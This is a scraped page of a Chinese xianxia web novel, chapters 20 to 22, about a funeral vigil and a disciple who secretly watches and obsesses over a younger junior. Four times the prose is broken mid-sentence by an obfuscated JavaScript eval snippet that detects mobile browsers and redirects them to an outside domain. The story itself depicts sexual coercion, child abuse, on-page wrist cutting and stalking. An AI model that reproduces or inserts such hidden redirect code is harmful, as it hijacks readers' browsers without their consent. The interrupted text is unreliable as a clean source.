林鹤凝的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669077|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陡然尖锐起来:“是那个突然冒出的外门弟子拦了一把,否则大师兄就会、就会——” 赫连为冷冷看着她:“你确定要大喊大叫把这件事闹得人尽皆知?我是不在意,可如果传到了你的大师兄耳朵里,知道原来表面冰清玉洁的鹤凝师妹原来是个人尽可夫的婊子……” 林鹤凝如遭雷劈,过了好半晌,她一张脸白如纸:“那个外门弟子的确姓宁,你为什么让我查她?” 赫连为:“这与你无关。你只要告诉我她的姓名、籍贯、年纪还有父母何许人就够了。” 他与宁汐分离时年岁尚小,只记得有个异色瞳的宁家妹妹,具体的信息却是一无所知。 至于去问赫连清羽?赫连为冷笑,还是算了吧,若是他这位胳膊肘往外拐的亲爹知道他相对宁汐下手,估计第一个要做的就是清理门户。 “一个个的,为什么都这样在意她?!” 林鹤凝咬紧后槽牙,不甘和怨恨一股脑地涌了上来:“你也好,大师兄也好……” 赫连为停下玩扳指的动作,声音里带了点趣味:“裴不沉对她很在意?” 林鹤凝闭上嘴,不言语了。 “你该不会还在妄想自己和裴不沉有可能?”赫连为朝她走近,弯下腰,靠着她的耳朵亲昵低语,“在我们已经做过……的情况下?” 林鹤凝猛地伸手推开他,剧烈战栗。 她痛苦地闭上了眼睛。若不是那日她在试炼中误中情蛊,若不及时解蛊便有爆体而亡的风险,她也失去神智、向唯一经过的赫连为求救…… 偏偏那情蛊药力霸道,不能根除,每逢月圆都要发作,一开始林鹤凝不肯低头,可蛊毒积累三次后便会七窍流血、犹如万蚁噬心,她不甘心就这样死去,这才被赫连为一而再再而三…… 赫连为似乎对她这幅痛苦的情态很是满意,低低笑起来。 “这样就受不了了?可分明我见你那时也挺愉快——” “闭嘴!”林鹤凝骤然拔剑,长剑架在他的脖颈上。 士可杀不可辱,即使两人并没有做到最后一步,赫连为只是用手指替她纾解,可那种屈辱的滋味林鹤凝一辈子都不想再记起。 赫连为的笑容凝住,脸色缓缓沉下来,那双看起来血淋淋的桃花眼里流露出一丝怨毒。 “你敢拿剑对着我?”他哑声道。 不可自控的,林鹤凝背后发寒,手中握剑一抖,剑刃划破他的脖颈。 赫连为被这痛楚激怒,一步上前,扭住她的手腕,长剑当啷掉落在地。 林鹤凝被迫仰起脸,头皮拽得生疼,但她依旧倔强地死咬牙关,不肯在清醒时求饶。 其实她长得很美,五官清丽,偏偏平日不苟言笑,气质孤冷,更衬得整个人有股空谷幽兰的芬芳。 赫连为扯着她的头发,那双秀致苍白的面孔俯身朝她压下去,端详似的欣赏了一会手中人不甘、屈服的神色。 他突然露出一个山魈鬼魅似的笑容,朝她脸上狠狠吐了一口唾沫。 “找死。” * 两人看不见的背后,一只通体漆黑的无相鸦无声振翅,从屋檐上飞起,飞过天空,降落在满是缟素的灵堂前。 裴不沉正在替尉迟今禾的尸身换寿衣,听见身后乌鸦叫,便微微颔首。 无相鸦化为一缕青烟消失。 听完了赫连为与林鹤凝的对话,裴不沉只是微微挑眉,他安静地用铜盆洗了手,指尖带着水珠,轻轻在脸颊划过,水珠滚落,宛如被划伤的血痕。 对镜自照,他又想起少女娇美面容上的伤痕,还有曾经尝过的师妹鲜血的滋味。 喉结上下滑动,他眯起眼睛,无声微笑起来。 20. 请求 赫连为抹掉袖口上沾上的一点血痕,拉高衣领遮住伤口,重新衣冠楚楚地跨进宗门大殿。 “怎么去了那么久?”坐在赫连家席位的赫连清羽朝他低声问。 男人年近不惑,眼角刻着细纹,五官与赫连为有七分相似,气质却浑然不同。 如果说赫连为是一条染血的毒蛇,那么赫连清羽便是纯良无害的白鹿。 虽然已经年长,可他看起来依然如清风、如流泉,澄澈透明,温柔可亲。 “碰到熟人,随便聊了两句。”赫连为在父亲身边坐下,直接拈起醒到一半的茶水,一饮而尽。 旁边桌上有个世家公子见他如此糟蹋好茶,忍不住啧啧摇头,却对上赫连为皮笑肉不笑的眼神,立刻打了个寒噤,慌张起身跑去换位置了。 “你还是小孩子心性。”赫连清羽叹了口气,“出门在外,还是与人为善,莫要惹是生非。” 赫连为没答,环视四周,已经不止:“裴不沉自己没来?” 赫连清羽:“小敛刚过,大敛才开始,待会招魂时,裴公子才会过来。” 他又唏嘘道:“世事无常,没想到尉迟夫人这样年轻便去了。” 赫连为半笑不笑:“对啊,分明前几日我拜见时,她听起来还算身体康健,怎么昨晚忽然就重病不治了呢?” 赫连清羽没听出他的弦外之音,道:“你去见尉迟夫人,可是为了寻找宁家女儿?” 赫连为垂眸:“嗯。但她一听到我想找的人姓宁,就不耐烦地令人把我赶出去了。” 赫连清羽皱眉:“为何?难不成尉迟夫人与我那位好友有故,可我竟从未听宁兄说起过……” 话说到一半,堂后转出来一道雪白身影。 裴不沉头系素白抹额,披麻戴孝,脸色苍白,朝着众人深深行了一礼:“劳烦诸位远道而来吊唁,母亲新丧,某不胜悲痛,若有招待不周之处,烦请海涵。” 立即有相熟的世家长老上前拍了拍裴不沉的肩膀,低声安慰。 赫连家与白玉京不算相熟,席位上只稀稀拉拉起来几个人,赫连清羽有些尴尬地搓手,低声问一边不动声色的赫连为:“我们是不是也该过去?” 赫连为扫了一眼他这位出身寒门、一心只会读圣贤书而不通人情世故的父亲,率先起身:“走吧。” 两人到了裴不沉身前,刚好前一个是南宫家的长老,转身时瞧见赫连为,立刻拉下脸来,活像见了什么晦气东西一般,恶狠狠地剜了他一眼。 南宫家这些日子就因为这不男不女的小白脸闹得鸡犬不宁,南宫小姐也不知被灌了什么迷魂汤,天底下那么多文武双全的世家公子不喜欢,非要在这棵来历不明的野树身上吊死。 小姐是他们这些长老看着长大的,从来是捧在手里怕掉了,含在嘴里怕化了,如今却为了一个上不得台面的男人与生身父亲日日争吵、甚至绝食断水以示抗议。 看着她那奄奄一息的模样,南宫家上下怎能不心疼、又怎能不厌恶这姓赫连的小子。 不过碍于这里是在灵堂,南宫家长老没有当场发难,只是临走前又恶狠狠地瞪了他好几眼。 南宫长老这番厌恶动作做得毫不掩饰,然而在场三人,除了赫连清羽面上有些许尴尬之外,剩下两个却都好似没看到一般,一个抬袖摁眼角的残泪,一个抄手站在一边,正饶有兴味地欣赏挂着的挽联。 “裴公子节哀。”赫连清羽是个面皮薄的,率先出声了。 裴不沉擦了泪,哑声道:“赫连前辈亲自来此,有心了。” 又寒暄安慰几句,赫连清羽惴惴不安地开口:“其实我今日登门,除了吊唁令堂之外,还有一事相求。” 裴不沉还没有什么反应,赫连为却已经不悦地出声提醒:“父亲!” 赫连清羽却坚持道:“实不相瞒,我曾有一去世的旧友,只留下一个女儿,我与故友因故失散后一直在寻找他的女儿,但无奈人海茫茫,始终没有音讯。” 裴不沉理解了:“所以赫连前辈希望我帮您找到这位姑娘?” 赫连清羽点头,神色中染上几分无奈:“你也知道,我在赫连家……行动并不是那么自如。云照在时,她倒是愿意帮我寻人,可惜她也……” 赫连云照是赫连家的前任家主,几年前去世了。赫连清羽似乎不太愿意在人前提起这位后妻,顿了一下,才继续道:“我听说裴公子古道热肠、侠者仁心,白玉京又是弟子汲汲,这才想着上门请求一试。” 裴不沉微微一笑:“既然是赫连前辈的请求,晚辈自当鼎力相助。不知道前辈的故人之女叫什么,有何特征?” 赫连清羽连忙道:“那姑娘若是还活着,去年应该刚刚及笄,她有双异色瞳,一只眼睛是琥珀色的,好认得很。哦对了,我那故友姓宁。” 裴不沉一怔,却抬眼朝斜方看去,正对上赫连为阴沉的面容。 两人视线相撞,赫连为突兀地朝他露出一个了然、戾气的微笑。 裴不沉移开了视线:“晚辈会留心询问。不过,晚辈多嘴问一句,前辈找到了这位宁姑娘后打算如何?” 赫连清羽:“实不相瞒,我那故友在世时,曾与我约定,若彼此妻子分别生下一儿一女,便结为儿女亲家……我一直寻人,除了想替老友照拂一二外,也有全诺之意。” “原来如此。”裴不沉一顿,“晚辈定当竭心尽力,替赫连公子寻回未婚妻子。” 赫连为上下打量他片刻,忽地发出一声嗤笑。 赫连清羽知道他这儿子生性乖戾,也不求他与裴不沉交好了,又说了几句感谢的话,才拉着他往门外走。 然而走到门边,赫连为忽地停住了,朝裴不沉扬唇一笑。 他本就生得貌若好女,今日来吊唁也没穿丧服,依旧是赫连家的胭脂色纱衣,大朵大朵的金牡丹怒放其上,金冠束发,笑起来时周身那股阴郁的戾气一扫而空,正是唇红齿白、意气风发的少年郎。 他笑嘻嘻的,朝裴不沉行了个极其不端正的拱手礼:“裴公子,若是找到了宁姑娘,你可是头号功臣,定要来吃一杯我和她的喜酒啊。” 裴不沉黑沉的眼珠转动了一下,仿佛一只上了发条的木偶人,看过来的视线都是一格一格的移动。 风吹过灵堂,他如枝头即将被风吹落的白樱,衣衫单薄,孤零零地站在一副雪白挽联之下。 那副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669078|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挽联拟用的是裴清野悼亡口吻,写的正是——同穴窅冥何所望,他生缘会更难期。* 屋外阳光刺眼,赫连为眯眼看着裴不沉立于阴暗屋角,表情模糊,须臾,才朝他温声道了句“好”。 * 走出灵堂大半,赫连清羽便忍不住开始埋怨自己的儿子:“我怎么觉得裴公子对你并不怎么热络?” 因为刺了裴不沉一句,赫连为的心情有种恶劣的愉悦,难得有心情应付父亲的指责:“有么?他这人不一直这样,表面上笑得跟戴了一副面具一样,其实心里对谁都冷冰冰的。” “你也是,既然我们有求于人,你还不肯给裴公子留下一些好印象。”赫连清羽又开始唠叨,“尉迟夫人新丧,你却连丧服都不肯穿,幸好是裴公子宅心仁厚不同你计较。” 他又想到什么,摇头叹息:“裴掌门去得早,剩下尉迟夫人缠绵病榻,那时裴公子也不过十来岁的年纪,我看白玉京那些族人长老也不是好相与的,这么多年他却一个人扛下来了……也是不容易。” 赫连为假笑:“父亲这么青睐裴不沉,不如请他改了姓,做你的儿子,正好那宁氏女也让他娶了,我正落得轻松,岂不是两全其美?” “婚姻之事,怎能信口胡说?”赫连清羽好气又好笑,“何况裴公子一看便有无上道心,怎么可能沉溺于小情小爱之中。” 那倒未必。赫连为眯起眼,回味着离开灵堂前裴不沉的表情。 那种运筹帷幄惯了的金贵公子,却被一脚踩烂在泥里,被撕咬下一块鲜血淋漓的血肉,心里已经痛得如油煎火烧了,面上却还强撑着生来的傲骨不肯低头…… 赫连为心痒地磨了磨后槽牙,心道折磨这些世家公子小姐可真真是天底下第一乐事。 * 尉迟今禾贵为一宗掌门夫人,即使生前少与人来往,死后却依然有络绎不绝的修士前来吊唁,其中大多是各大宗门的长老,醉翁之意不在酒,都指望着借机来与裴不沉增些亲近。 小敛、大敛、招魂、停柩,流程走得有条不紊,裴不沉只在最初钉棺时趴在棺盖上大哭了一场,之后便再也没有红过眼圈。 按照白玉京的习俗,人死后须得停灵七日,方能渡魂魄入轮回。 今夜是头七,他依旧笔直跪在蒲团之上,慢慢往火盆中放纸钱。 有一同守灵的小弟子撑不住,抹掉眼角困出的眼泪:“大师兄,您去休息吧,这有我们在守着,不会让火盆灭掉的。” 裴不沉摇头,温声道:“你们若是累了,便都回去吧。这是我的亲人,自然要我自己来守灵。” 弟子拗不过他,打着哈欠走了。 近来多雨,雨霰疏疏,湿漉漉的潮气吹得火苗摇晃,焰光照在他的面上,一半面容都隐没在黑暗里。 纸灰在空中飞舞,有一些落到了漆黑的棺材之上,裴不沉伸手轻轻拍掉。 “娘亲。”他轻声道,“虽然你从不肯让我叫你娘亲,但今日还是让我叫最后一回。反正你已入土,也听不见我说什么了。” 他接着用一种温柔的、缱绻似水的、近乎宠溺的目光望着那座棺木,唇角上翘:“终于等到你死,我好高兴啊。” 21. 守灵 灵堂之内十分寂静,火烧纸灰亦是无声,只有裴不沉的喃喃自语低低回响。 明亮的橙红焰光之下,他自袖口露出的一截手腕皓白如月,更衬得其上的伤痕森森可怖。 他抚摸着那道伤疤,默然许久,才重新坐回蒲团上。 火影憧憧,过了一刻,身后突然冒出一个圆圆的影子。 似乎是某人躲在门外,探出了脑袋,正在往里面瞧,见裴不沉没有睡,又飞快地缩了回去,随即又意识到这样就什么也看不见了,于是蹲下身,鬼鬼祟祟地探出半个脑袋,从门边偷看。 裴不沉屈指在火盆边敲了敲:“宁师妹?” 宁汐不情不愿地从藏身之地走出来,嘀咕:“大师兄是背后长眼睛了吗?为什么每次都能发现我?” 裴不沉但笑不语,换了个话题:“师妹这么晚还不睡吗?” “大师兄不也是。”宁汐理直气壮地走到他身边,拖了个蒲团,盘着腿坐了。 “师妹是特地来看我的吗?”裴不沉的眼睛弯起来,“谢谢师妹。” 宁汐却盯着他眼底下深重的乌黑,叹了口气。 裴不沉被她这幅小孩装大人似的情态逗笑,又伸手揉了揉她的脑袋。 “哦对了,给你这个!”宁汐突然想起自己来的目的,从怀里掏掏,掏出个油纸包着的羊奶烙饼,递到裴不沉面前,“我刚刚去膳食房求食修姐姐帮我做的,刚出锅,还热着呢!” 裴不沉接过纸包,咬了一口,金黄的酥皮一破,里面香甜乳白的奶馅就流了出来。 他笑着道:“师妹还知道给我带夜宵,真棒。” 宁汐催促他赶紧吃:“大师兄你一直都在接待吊唁的客人,饭都没吃几口。” 裴不沉慢条斯理地吞下最后一口馅饼:“所以师妹这几天都没来,特地选今天晚上来看我?” 宁汐点点头,有些不好意思:“其实白天上香的时候也想来的,可是外门弟子没办法来这种大场合,我刚刚才找到机会溜进来。” 事到如今她才明白雨夜藏书阁中碰见的大师兄为什么会那么奇怪,想来是他突逢丧母,心神大恸。他当时来找自己只是为了通知吗,还是希望自己安慰他呢…… 裴不沉又笑:“师妹能记挂着我,我就已经很高兴了。” 宁汐跪坐在蒲团上,将他吃剩的油纸夺回来,揉巴揉巴。 糟糕,和真人面对面的时候反而不知道该说什么了! 进入灵堂之前,她其实想了很多安慰裴不沉的话。 可不知道是不是因为她这人天生亲缘浅淡、情感稀薄,居然左思右想也想不出什么话能宽慰裴不沉。 亲生母亲去世了,应该很伤心吧…… 虽然她自己亲缘淡薄,不能体会到丧亲之痛,但以常理推算,觉得裴不沉可能曾跪在灵堂中泣不成声,她的一颗心就揪成一团。 她揉了一会纸团,脸忽然涨红,从袖口里摸出了一个边缘发毛的小本,翻开一页,磕磕巴巴地道:“不知道该怎么安慰你不管我说什么怎么说都感觉很苍白无力,有些事情可能就是我们无法预料更无法阻止的,现在能做的就是照顾好自己,大师兄的娘亲若在天有灵也会很高兴看见这一切的!” 她一口气念完这一连串话,胸口的心砰砰直跳——没办法,她嘴笨,只能事先把想好的安慰人的话写在本子上。 本来指望着能背出来的,可不知怎么的一见大师兄那双眼底青黑的眸子,她的脑袋就变得空空荡荡了。 宁汐捂住胸口,慢慢平复心跳,这时才突然发现,自始至终裴不沉居然一句话也没有说。 他只是专注地、温和地、安静地望着她。 正在宁汐担心自己是不是说错了话,裴不沉却轻声道:“其实我不伤心。” 宁汐:“诶?” 这是什么意外的谈话走向? “从小我就知道,娘亲不喜欢我……虽然我那时还不知道她为什么不喜欢我。”裴不沉轻轻拿过被宁汐揉得皱巴巴的油纸,投进了火盆里。 火苗有了新燃料,一瞬烧得更旺,照亮裴不沉淡雅如玉雕的面容。 自他记事起,“母亲”这两个字的印象就是浮着薄冰的冰水——每逢十五,尉迟今禾都会把他叫到那栋大宅子里去,令他把脸浸在水里,即使呛水也不能抬起脸,如果不够时辰,就要用针刺、用掌打,跪在碎瓷片上膝盖出了血也要脊背端正。 有时候他还是控制不住会溺水,窒息、苦楚,冰凉的水液进了喉管之后却会变成烧灼一般的疼痛,残存在肺部的冰水好几次演化成了风寒咳疾,尉迟今禾的召唤却还是每月不误。 “师兄小时候,是不是……被夫人惩罚过?”宁汐一下子想到卫书发给自己的留影,心底沉甸甸的,半晌,才试探着道。 她还是不敢直接说怀疑裴不沉小时候刺杀过尉迟今禾——弑母这种罪名,放在谁身上都太过了。 裴不沉瞥了她一眼:“师妹也知道啊。” 他朝宁汐撩起袖口,露出腕口的伤疤。 那条疤痕丑陋而狰狞,如同一条弯曲的蜈蚣,趴在少年白皙的腕骨之上。 第一次近距离看见那道狰狞的疤痕,宁汐有种自己的手腕也被剖开了一样的痛楚。 裴不沉淡声道:“每次很难受的时候,我就在想,是不是死了,就轻松了。” “所以有一次,我真的尝试了。” 天枢十四年,裴不沉十四岁,站在牡丹屏后,他杀的不是母亲,是他自己。 他露出手腕的伤疤,灼日剑提在手心,演示给她看——长剑划过腕口,殷红血珠滚出。 宁汐被吓了一大跳,拽住他握剑的右手:“大师兄!” 那声音又惊又慌,似乎还有一丁点令他甘之如饴的怒意和心疼。 宁汐手忙脚乱地从他手里抽出剑,远远地甩在一边,又忙不迭地去掏止血的帕子。 雪白素帕摁在手腕,没过一会就被鲜血染红。 一滴一滴圆圆的水痕砸在上面。 裴不沉抬起眼,这才发现宁汐是哭了。 他默然,用另一只还算完好的手去抹她的眼泪,有些无奈:“明明受伤的是是我,怎么师妹倒哭起来了?” 宁汐用力擤着鼻涕,眼里水光一片,她仔细想要看清裴不沉的表情,这人居然还是笑的。 “别哭了,好不好?”裴不沉放低了声音,像是哄孩子似的,“待会其他弟子过来看见,还以为是我欺负了你。” 宁汐恶声恶气道:“大师兄不欺负我——你只会欺负你自己!” 这话说得没头没脑、毫无逻辑,裴不沉被逗笑了,然而依旧顺着她的话:“好好好,是我欺负我自己。师妹不气了?” 宁汐用袖口胡乱抹掉眼泪鼻涕,盯着他:“现在尉迟夫人死了,就没有人再折磨你了。” 裴不沉:“嗯。” 因着要给手腕止血的缘故,宁汐与他凑近了一点,近到可以看清他鬓边一根细小白发。 宁汐看了一会,突然伸手把那根刺眼的白发拔了下来。 裴不沉吃痛地皱眉:“怎么了?” 宁汐却飞快将那根白发扔进了火盆里,背着手摇头。 “好吧。”裴不沉拧着眉笑,“若是这样能让师妹出气,我挨这一下也不亏。” 宁汐没有向他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669079|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释自己的行径,只是低头替他包好受伤的手腕。 打好最后一个结,宁汐轻声道:“我会永远陪着大师兄的。” 跳跃的火光下,少女发顶毛茸茸的,像团焦黄的毛线团,裴不沉又用那只完好的手轻轻揉了一下,故作严肃:“永远是可以随随便便就说出口的吗?” 宁汐不服气:“可我是认真的。” 然后听见大师兄犹豫地“啊”了一声。 他又打算蒙混过关了,每次都是这样,对别人的事情无比上心,一牵扯到自己的时候他就开始顾左右而言他。 宁汐一怒之下……怒了一下,踢了一脚火盆,火苗猛地蹿高,险些撩着裴不沉的头发。 他苦笑:“好吧好吧,师兄知道了,你是认真的。” 宁汐:“……” “真不高兴了?别生气,师兄错了。” “就算大师兄不同意,我也会陪着你,永远永远陪着你!”宁汐大声道。 裴不沉这才收了笑。那双幽静的、古井无波的眸子眨了眨,滑过一丝古怪的、兴奋的亮光,然而待宁汐又要细看,他却又恢复平静自持的模样了。 他的声音轻柔而温和:“那要说话算话哦。” …… 等到天光大亮,宁汐才被人轻轻拍醒。 她猛地一抖,睁眼看见一片缟素的灵堂时还有股神魂出窍的错觉,一时间没意识到自己在哪。 随后看清裴不沉微笑的脸,才记起来自己昨晚陪大师兄守灵,过了丑时后实在困得受不了,不知不觉就睡着了。 她从蒲团上爬起来,大师兄还很贴心地脱了外袍垫在地上,给她搭了一个临时的简易褥子。 “醒了?”裴不沉笑眯眯地递过来半枚酥油烙饼,是昨夜他特地掰下来留着没动过的,“早起垫下肚子。” “大师兄在我旁边待了一宿吗?”宁汐接过,咬了一口,耳根子有些红。 昨夜还信誓旦旦说要陪着大师兄的,结果居然是她自己先撑不住睡过去了。 裴不沉似乎看出她心里所想,安慰道:“不碍事。本就该是我守灵,何况我觉少,熬几晚也没事。” 觉少?宁汐认真地去看他脸色,心中恍然大悟:怪不得大师兄眼底下总是带着化不去的青黑。 不知道上次那个少阴生肌祛痕膏对去黑眼圈有没有用。宁汐琢磨着,上哪去再弄几罐来给裴不沉试一试。 思考得入迷,她也就忘了,其实以裴不沉这样的身份,若是有什么想要的,自然会有无数人心甘情愿双手奉上,根本轮不到她来操心他用什么药。 “师妹累着了。回去休息吧。”裴不沉伸手在她面前晃了晃。 灵堂外隐约传来晨起弟子的走动声,宁汐不想让人知道大师兄同自己昨晚待在一块,显得他守丧不诚心,便匆匆应了一声,提起裙角跑远了。 裴不沉看着那道消逝在熹微晨光中的小小背影,长久都没有眨眼。 烧了一夜,火盆中的纸钱已经烧光大半,剩下灰烬中发出微微橘红亮光。 微弱的焰光将熄未熄,投下的阴影也随着闪烁、扭曲,正如同裴不沉心中铺天盖地涌出的阴暗念头,贪婪、庞大而杂乱无章。 永远……永远……永远……陪着他吗…… 不久,就有服侍裴不沉的小侍童送进来茶水,看见裴不沉翘着的唇角,有些诧异:“大师兄遇上什么高兴的事情了?笑得这样开心?” 裴不沉饮了一口冷茶,摇头不语。 侍童又忍不住看了他一眼。 他从没见过这样的大师兄。 眼睛这样亮,明明是笑着,却让人看了不寒而栗。 22. 怪胎 裴不沉垂头望着自己手腕上的伤口,包扎得很好的雪白纱布上已经没有再渗出血迹。 她的眼泪掉在他的伤口上,温热带着抽搐的刺痛,远胜过名家圣手的灵丹妙药。 她居然会为了他哭,裴不沉很惊讶,她学会哭了。 现在的师妹看起来几乎和一个正常人一样了,行为举止,偶尔露出的语言表情,几乎看不出任何奇怪的地方。 他也没有想到她会来安慰他。虽然他并不伤心,但是愿意在她面前颓丧,换来她犹如甘霖的安慰。 果然,她依旧不会安慰人,那一长串的句子她应该背了很久吧。 他如饥似渴地欣赏她身上的变化,将过去的记忆与如今的眼前人反复比对、咀嚼、回甘、最后吞之入腹。 他知道所有她的事情,他以前就见过她,千次万次,他在她的背后注视观察她很久了。 一开始是外门弟子集体在广场上练剑,高矮胖瘦全都是粗褐短裳,一眼望过去人潮茫茫,灿烂的阳光下所有人的脸都融化成无表情的空白肉块,唯独师妹的眉目清晰。 她正被其他持剑的外门弟子团团围住,为首的弟子和她结成同一个练习小组,正用她完全无法招架的招式击打她的手臂、腰背、小腿。 裴不沉惯于用剑,所以一眼就看出来了,这完全不是正常切磋该有的点到为止,他抬步朝师妹走去,听见围观的人群都在哄笑。 “起来啊,木头!就这几下就趴在地上了?要是你跪在地上叫我两句‘爷爷’,说不定我可以放你一马。” “就她这幅打一个巴掌憋不出个屁来的闷葫芦,你让她说句话比登天还难,话说她不是哑巴吧?我们白玉京又不是什么慈善堂,总不能什么乱七八糟的残次品都往这里丢!” 尖酸刻薄的讥讽之声连成一片,师妹安静地坐在地上,仰着小小的雪白的脸,日光落在她的眼角眉梢,异色的琥珀瞳几乎灿烂得像要流淌出金子。 所有人都在笑,她却没有表情,只是一眨不眨地盯着笑得最欢的那个男人。 暴怒从裴不沉的心底席卷而起,奔腾的血液化为滔天巨浪几乎将他淹没,耳边被冲刷得发出隆隆巨响,他得很努力才能克制住不在当场拔剑的冲动。 师妹忽然咧开了嘴,像哭又像笑,无比滑稽。 裴不沉的脚步渐渐放缓了。 她忽然“哈哈”笑了两声。 她在极细微地调整自己的五官肌肉,嘴角上扬的弧度,发出笑声的音调和节奏,一开始生涩僵硬,慢慢变得流畅圆融,到后来她和那个男人的笑声简直合二为一,根本听不出一丝一毫的区别。 她在模仿那个人。 渐渐地,所有人都不笑了,见了鬼似的盯着她,唯独她还没有反应过来,少女犹如黄莺啼鸣的清脆笑声兀自回响。 裴不沉站在挤挤挨挨的人群里,默默注视着这一切。 为首的男人脸上已经发青,瞠目结舌,反应过来后就毛骨悚然地大骂她是怪胎。 剑气爆发,灵威将所有人压得跪在地上。 男人看清是裴不沉,面色发白,哆嗦着道:“大、大师兄!” 裴不沉维持一贯的笑容,笑得嘴角肌肉有些抽搐:“白玉京门内有令,禁止同门弟子私下欺凌,违者交由惩戒司受打灵鞭五十。” 惩戒司向来铁面无私,更何况是大师兄亲自发声,说五十下就一下不少,别说打完了,即使十鞭子也能要了他的半条命。 男子和其他围观者都痛哭流涕地被拖下去了,裴不沉低头看着眼前的师妹,她似乎有些困惑,圆圆的狐狸眼望向他,有一丝迷茫从微微上翘的眼角滑过。 有一瞬间他都以为她是认出自己了,但她只是弱弱地“啊”了一声,迟疑地朝他绽出一个笑容。 说不上来是失望,还是庆幸,他松了一口气,朝她伸出手时心里有种隐秘的兴奋,师妹笑得很灿烂,将自己软绵绵的手掌搭上来。 他后知后觉地担心自己的掌心是不是都是湿滑冰冷的汗水。 然而还没等他好好回味那销魂入骨的触感,师妹就收回了手,他顿时像被人狠狠一脚从美梦里踹出来一样,从彩光环绕的云端重重跌下。 师妹脆生生地向他道了谢,就没心没肺地转身跑掉了。 他怅然若失,心里又涌起哀怨不平之气:他注视了她那样久,好不容易才鼓起勇气同她见上一面、说上一句话,她的视线却仅仅只在他身上停留一瞬。 后来他私下里遮掩身份,警告过那些对师妹不敬的愚蠢弟子,可人换了一茬又一茬,总是有人不长心眼想要找死。而师妹好像只记吃不记打,霸凌总是旧事重演,唯一的区别只在于,她开始会开口说话和笑了。 自从她学会笑之后,就时常一个人深夜躲在无人的湖边对水自照。 裴不沉站在白樱树的阴影里,见证她的笑容从迟滞凝缓,到越来越娴熟纯善,最后收放自如,和普通人一模一样了。 之后他又撞见过她好几次,其中一次是打扫净房的时候,她被其他外门弟子反锁在了隔间里,他以为师妹会哭会求救,可是她好像以为对方是在和自己开玩笑,只是断断续续地哼着不成调的歌谣,一边用绵软清甜的嗓音大声数数。 “一、二、三,你好,你好,有人在吗?” 他站在门前,手掌贴上门板,想象少女的温暖柔软的身体隔着冰冷坚硬的木头落入自己的掌心。 他施法打开门锁,师妹犹如一枚小小的炮弹一样猛地弹射出来,低着脑袋直愣愣地冲了出去,只是含糊道了一声谢。这一次他又没能让她认出自己。 事后他另外寻了个由头,将始作俑者统统罚跪三日,逐出师门。 师妹总是让他操心,令他夜不能寐日不能安,他去找外门峰的峰主,开设外门弟子的学堂,教授经义倒在其次,最重要的可以把人放在眼皮子底下,大半时间都不会让她和其他外门弟子独处。 有人在她的课桌抽屉里塞满了尘灰碎纸和垃圾,师妹抿了抿嘴,默默地把自己被撕成纸团的破烂课本扔掉,回来拖开椅子,椅面上被人贴了作弄的符箓,散发着黏糊恶臭的气味。 她站在原地,露出一点手足无措,直愣愣地也不知道怎么办,课钟响起,该开讲了,新来的夫子一贯严厉刻板,一眼便瞧见了鹤立鸡群的师妹,以为她要扰乱纪律,厉声质问她想干什么。 师妹没什么表情,嘴唇瓮动:“我不想坐这个椅子。” 夫子以为她是在顶嘴,气得瞪眼:“你不想坐就出去站着!”不由分说就将她赶了出去。 出门后,夫子还不解气地骂骂咧咧:“真是不知好歹、不懂感恩!就凭你们这些灵根未开的外门弟子,本来是根本不配来听这些东西,听了也听不懂。若不是你们大师兄关爱后辈,你以为你们还能坐在这里?早该被发出去扫地了!” 无相鸦将消息传来的时候裴不沉正在山下捉妖,他一瞬分神,脸上就被狼妖的利爪划了一道长长的伤口,血流如注,他却察觉不到痛,逐日剑红焰爆出,小山高的狼妖眨眼就被烧成灰屑。 他御剑就走,身后的弟子惊得目瞪口呆,交头接耳:“大师兄这么着急去做什么?” 该死的夫子和扔垃圾、贴符箓的弟子被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669080|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扔进了雷斧石林关禁闭,至于禁闭的时间他没有设置,估计关上一年半载,人没了力气躲不过落下的石斧,就会被剁成肉泥吧,他也不是很关心。 他看见被罚站的师妹蹲在大树底下,小小的背影蜷缩成一团,肩膀一颤一颤的。 